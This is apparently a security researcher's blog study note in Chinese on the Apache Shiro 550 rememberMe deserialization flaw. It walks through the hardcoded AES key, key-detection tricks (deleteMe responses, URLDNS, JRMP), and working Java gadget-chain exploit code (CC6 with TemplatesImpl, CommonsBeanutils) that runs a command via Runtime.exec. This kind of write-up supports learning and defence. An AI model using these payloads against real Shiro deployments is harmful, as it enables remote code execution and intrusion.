shiro-550学习

环境

这里是使用的P牛提供的环境【shiro1.2.4】
https://github.com/phith0n/JavaThings/blob/master/shirodemo

漏洞原理

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操做

Shiro v1.2.4中使用RememberMe功能时,使用了AESCookie进行加密,但AES密钥硬编码在代码中且不变,因此可以进行加密解密,并触发反序列化漏洞完成任意代码执行。

加密过程

org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin方法下断点。

image-20220203112758424

跟进onSuccessfulLogin方法

image-20220203112934946

调用forgetIdentity方法对subject进行处理。subject可以理解为用户,对于用户的安全操作等
https://blog.csdn.net/qq_21046665/article/details/79735922

跟进forgetIdentity先是获取request和response然后继续调用forgetIdentity

image-20220203113426590

getCookie就是获取cookie,removerFrom其实就是在respons头部设置Set-Cookie:rememberMe=deleteMe

image-20220203113910793

回到onSuccessfulLogin如果设置RememberMe进入rememberIdentity

if (isRememberMe(token)) {
    rememberIdentity(subject, token, info);
}

rememberIdentity方法代码中,调用convertPrincipalsToBytes对用户名进行处理。

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    rememberSerializedIdentity(subject, bytes);
}

进入convertPrincipalsToBytes调用serialize对用户名进行处理。

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        bytes = encrypt(bytes);
    }
    return bytes;
}

跟进serialize方法来到org/apache/shiro/io/DefaultSerializer.java,显然对用户名进行了序列化操作

image-20220203115021213

再回到convertPrincipalsToBytes,接着对序列化的数据进行加密,跟进encrypt方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding。

image-20220203115248426

然后入跟进encrypt

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

其中getEncryptionCipherKey()进过寻找他是获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==。

image-20220203115800552

加密完成之后返回rememberIdentity进入rememberSerializedIdentity

image-20220203120342461

对加密的bytes进行base64编码,保存在cookie中

image-20220203120609538

解密过程

KEY构造Payload正确的情况

对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals下断点。

image-20220203122212478

getRememberedSerializedIdentity返回解码后的bytes

image-20220203122329090

返回getRememberedPrincipals到进入convertBytesToPrincipals

image-20220203122501641

进行解密然后返回bytes数据

image-20220203122532068

进入deserialize(bytes),这里提醒下deserialize类型是PrincipalCollection后面需要用上

image-20220203122843187

进行反序列化返回,其中有一些坑需要注意ClassResolvingObjectInputStream ObjectInputStream的子类,其重写了 resolveClass 方法,这个后面再提吧。

image-20220203123120043

KEY正确Payload错误的情况1

解密错误会直接抛出异常到

image-20220203132244022

跟进之后到forgetIdentity(context)也就和上面加密那个一样了设置respons头部设置Set-Cookie:rememberMe=deleteMe

KEY正确Payload错误的情况2

还有一种情况是在反序列化的 gadget 实际上并不是继承了 PrincipalCollection ,所以这里进行类型转换会报错。也就是我们上面提到的查看类型的坑一,后面流程和上面也是一样了。
image-20220203133342615

漏洞检测与Key的获取

检测Shiro当然第一步是检测该WEB站点是否使用了Shiro,最简单的方法就是请求的Cookie添加rememberMe=xxx,然后看响应是否返回Set-Cookie: rememberMe=deleteMe。

image-20220203131211692

其次我们的Key以及gadget都是未知的,如果对KEY和gadget进行遍历尝试,那枚举的次数就是笛卡尔积
并且KEY都没检测出来跑gadget也是无用功。

依赖shiro自身进行key检测

所以根据上面提到的解密的流程,要想达到只依赖shiro自身进行key检测,只需要满足两点:

1.构造一个继承 PrincipalCollection 的序列化对象。
2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

基于这两个条件下 SimplePrincipalCollection这个类自然就出现了,这个类可被序列化,继承了 PrincipalCollection

public class PrincipalCollection_shiro {
    public static void main(String[] args) throws IOException, InterruptedException {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream obj = new ObjectOutputStream(barr);
        obj.writeObject(simplePrincipalCollection);
        AesCipherService aes = new AesCipherService();
        byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
        obj.close();
    }
}

当Key正确时不返回rememberMe=deleteMe

image-20220203133809098

当Key错误时返回rememberMe=deleteMe

image-20220203133848025

结合Dnslog与URLDNS检测Key

如果目标机器出出网我们也可以使用URLDNS进行探测,可以在对应的头部添加Key的前缀来进行爆破Key,代码也是直接使用ysoserial的即可。需要注意的是使用URLDNS检测后DNSLOG平台存在DNS记录并不完全等同于可以出外网,还有可能是目标只支持DNS解析,但是TCP协议等是不能出外网。其次,可以通过CommonBeanutils1等其他gadget执行wget或者curl命令,这里需要考虑操作系统情况,Windows则是certutil等命令。

image-20220203135124000

利用时间延迟或报错

时间延迟

可以利用createTemplatesImplTime链创建即可对于没有使用createTemplatesImplTime链的进行反射+Transformer创建就OK。

Thread.currentThread().sleep(10000L);

报错

需要考虑java异常的返回报错或者提示,大多时候这是一种不可靠的方法

String result = "shiro-Vul-Discover";
throw new NoClassDefFoundError(new String(result));

利用JRMP协议

@xiashang师傅提供的思路,例如我们JRMPClient ‘xxx.dnslog.cn’可能目标机器并不支持DNS解析,但是他是出网的,所以可以我们VPS监听然后Client反连我们的vps我们VPS去dnslog检测即可。

利用方式

这里以两种方式来记录学习。一种是有commons-collections-3.2.1依赖另一种是没有依赖的情况来学习。因为自带的shiro550用的是commons-collections-3.2.1,当然目标机器如果没装也是可以正常运行没问题的。

有依赖的利用链

经过上面的知识我们也已经知道了,shiro的利用流程。所以我们先直接用cc6生成exp盲打

image-20220209175053951

无法加载类名为cc.Transfomer的类[[代表是一个数组

这里直接说结论吧TomcatJDKClasspath是不公用且不同的,Tomcat启动时,不会用JDKClasspath,需要在catalina.sh中进行单独设置。所以我们不能包含非java自身数组。

建议阅读以下文章及其自己调试理解更加深刻:

https://xz.aliyun.com/t/7950#toc-3
https://blog.zsxsoft.com/post/35

这里前辈们大概提供的方法也是很多列举两个。一个是JRMP一个是无数组

JRMP

orange师傅在此文提到了JRMP来反弹shell,JRMP原理可以看上一文。

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

java -jar ysoserial.jar ysoserial.payloads.JRMPClient "127.0.0.1:9997" > 2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections6 "calc"

生成base64编码的byte流代码

public class shiro_jm {
    public static void main(String[] args) throws IOException {
        File file = new File("C:\\Users\\Administrator\\Desktop\\2");
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        AesCipherService aes = new AesCipherService();
        byte[] key =java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(buffer, key);
        System.out.printf(ciphertext.toString());
    }
}

image-20220210001800361

CommonsCollectionsK1链

我们在CC3学的TemplatesImpl就要登场了。其中cc3也是包含Transformer[]

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

cc6又用到了TiedMapEntry类,他有两个参数,因为我们用到了ConstantTransformer这个类所以我们不需要管key的内容到底是什么就可以RCE

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

但是因为不能用ChainedTransformer所以我们查看TiedMapEntry类的key,此类下面有getValue调用了map的get方法,并传入key:

public Object getValue() {
	return map.get(key);
}

当这个map是LazyMap时,其get方法就是触发transform的关键点

public Object get(Object key) {
// create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
	}
	return map.get(key);
}

所以就比较巧我们直接把构造好的对象放到key的位置就可以了。

构造恶意对象

public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() throws IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, InterruptedException {
        super();
//        Thread.currentThread().sleep(10000L);
        Runtime.getRuntime().exec("calc.exe");
    }
}

cc6_Templates

public class cc6_Templates {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
//        outerMap.remove("valuevalue");
        setFieldValue(transformer, "iMethodName", "newTransformer");
        serialize(expMap);
        unserialize("cc6_templates.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templates.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

image-20220210003815890

无依赖的利用方式

上面在利用方式也说到shiro无commons-collections也是可以正常使用的,我们现在尝试把maven里面的cc依赖注释掉我们可以看到Commons-beanutils包是存在的

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils
然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections

image-20220210004111686

学过Commons Beanutils链的人应该清楚干嘛的,这里简单介绍一下。

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任
JavaBean的getter方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

就不需要去手动输入getname函数调用了。

而我们使用commons-beanutils链的时候需要用到BeanComparator类,而初始化BeanComparator会调用
org.apache.commons.collections.comparators.ComparableComparator类所以我们还是得使用commons.collections包

image-20220210012142424

image-20220210012253132

我们再去看下BeanComparator的构造函数看下comparator是否可控呢是否可以替换掉commons.collections下的comparator呢?

image-20220210012428884

我们发现是可以通过传参控制的如果不传参就默认使用commons.collections类

所以我们现在需要找到一个类来替换它,当然需要满足一些条件:

  • 实现 java.util.Comparator 接口

  • 实现 java.io.Serializable 接口

  • Java、shiro或commons-beanutils自带,且兼容性强

根据P牛的文章找到的类是 CaseInsensitiveComparator,当然还可以使用java.util.Collection$ReverseComparator

public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了
Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品

public class CommonsBeanutils_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

//        Comparator comparator = new TransformingComparator(transformer);
//        BeanComparator comparator = new BeanComparator();
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add("1");
        priorityQueue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

        serialize(priorityQueue);
        unserialize("CommonsBeanutils.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CommonsBeanutils.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

那我们直接打过去会发现

image-20220210013708653

serialVersionUID不一致

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通
信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会
根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方
的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患【来自p牛】

因为我们环境版本是1.8.3而我们序列化对象commons-beanutils是1.9.2所以当我们两个版本相同的时候

image-20220210013838262

还有很多的利用手法,以及内网不出网等复杂情况。后面再一一学习。

参考:

https://sec-in.com/article/468
https://blog.zsxsoft.com/post/35
https://sec-in.com/article/468
https://www.anquanke.com/post/id/192619#h2-2
https://xz.aliyun.com/t/7950#toc-3
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/
posted @ 2022-02-10 01:48  R0ser1  阅读(936)  评论(2编辑  收藏  举报